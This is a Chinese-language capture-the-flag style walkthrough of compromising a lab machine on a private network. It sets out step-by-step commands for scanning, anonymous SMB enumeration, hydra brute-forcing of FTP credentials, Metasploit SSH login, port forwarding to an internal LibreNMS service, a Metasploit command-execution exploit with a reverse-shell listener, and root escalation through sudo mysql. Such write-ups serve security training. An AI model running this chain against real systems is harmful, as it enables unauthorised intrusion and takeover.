一、信息收集
1、主机发现
nmap 192.168.236.0/24
2、端口扫描
nmap 192.168.236.174 -p- -A
3、目录扫描
没什么发现
dirb http://192.168.236.174
二、漏洞探测
访问80端口,没发现
查看共享文件夹,发现 anonymous 共享文件夹
smbclient -L 192.168.236.174
查看 anonymous 文件夹,在 backups 目录下发现 log.txt 文件
smbclient //192.168.236.174/anonymous
下载此文件查看,发现一个 aeolus 用户
get log.txt
more log.txt
尝试使用hydra进行密码爆破
hydra -l aeolus -P /usr/share/wordlists/rockyou.txt ftp://192.168.236.174
aeolus:sergioteamo
三、GetShell
ssh登录
ssh aeolus@192.168.236.174
对命令有限制
使用 msf 工具进行 ssh 登录,使用 metasploit 工具,查找 ssh 登录模块
msfconsole
search ssh_login
使用第一个,看一下需要配置的选项
use 0
show options
设置目标地址、账号、密码然后运行
set rhosts 192.168.236.174
set username aeolus
set password sergioteamo
run
将 sessions 会话升级为一个 meterpreter 会话 查看 sessions 会话
sessions
升级会话,使用新会话
sessions -u 1
查看网络相关信息,发现8080端口只允许靶机本身连接
netstat
进行端口转发,将本地的9999端口映射到靶机的8080端口
ssh -Nf -L 9999:127.0.0.1:8080 aeolus@192.168.236.174
将本地机器的9999端口映射到远程机器的127.0.0.1的8080端口,执行此命令后,本地机器的9999端口将被转发到远程机器的8080端口。可以通过在本地浏览器中访问http://localhost:9999来访问远程机器上的服务。
netstat -tulp
访问本地 9999 端口
发现网站使用的是libreNMS 系统,使用 msf 查看一下该系统是否存在漏洞
search libreNMS
发现两个命令执行漏洞,使用第二个,查看一下需要设置的选项
use 1
show options
设置参数
set password sergioteamo
set rhosts 127.0.0.1
set rport 9999
set username aeolus
set lhost 192.168.236.137
run
四、提权
使用交互式 shell
python -c "import pty;pty.spawn('/bin/bash')"
查看具有 root 权限的命令
sudo -l
发现可以用 root 权限执行 mysql ,执行以下命令可成功提权
sudo mysql -e '\! /bin/sh'
查看proof.txt 文件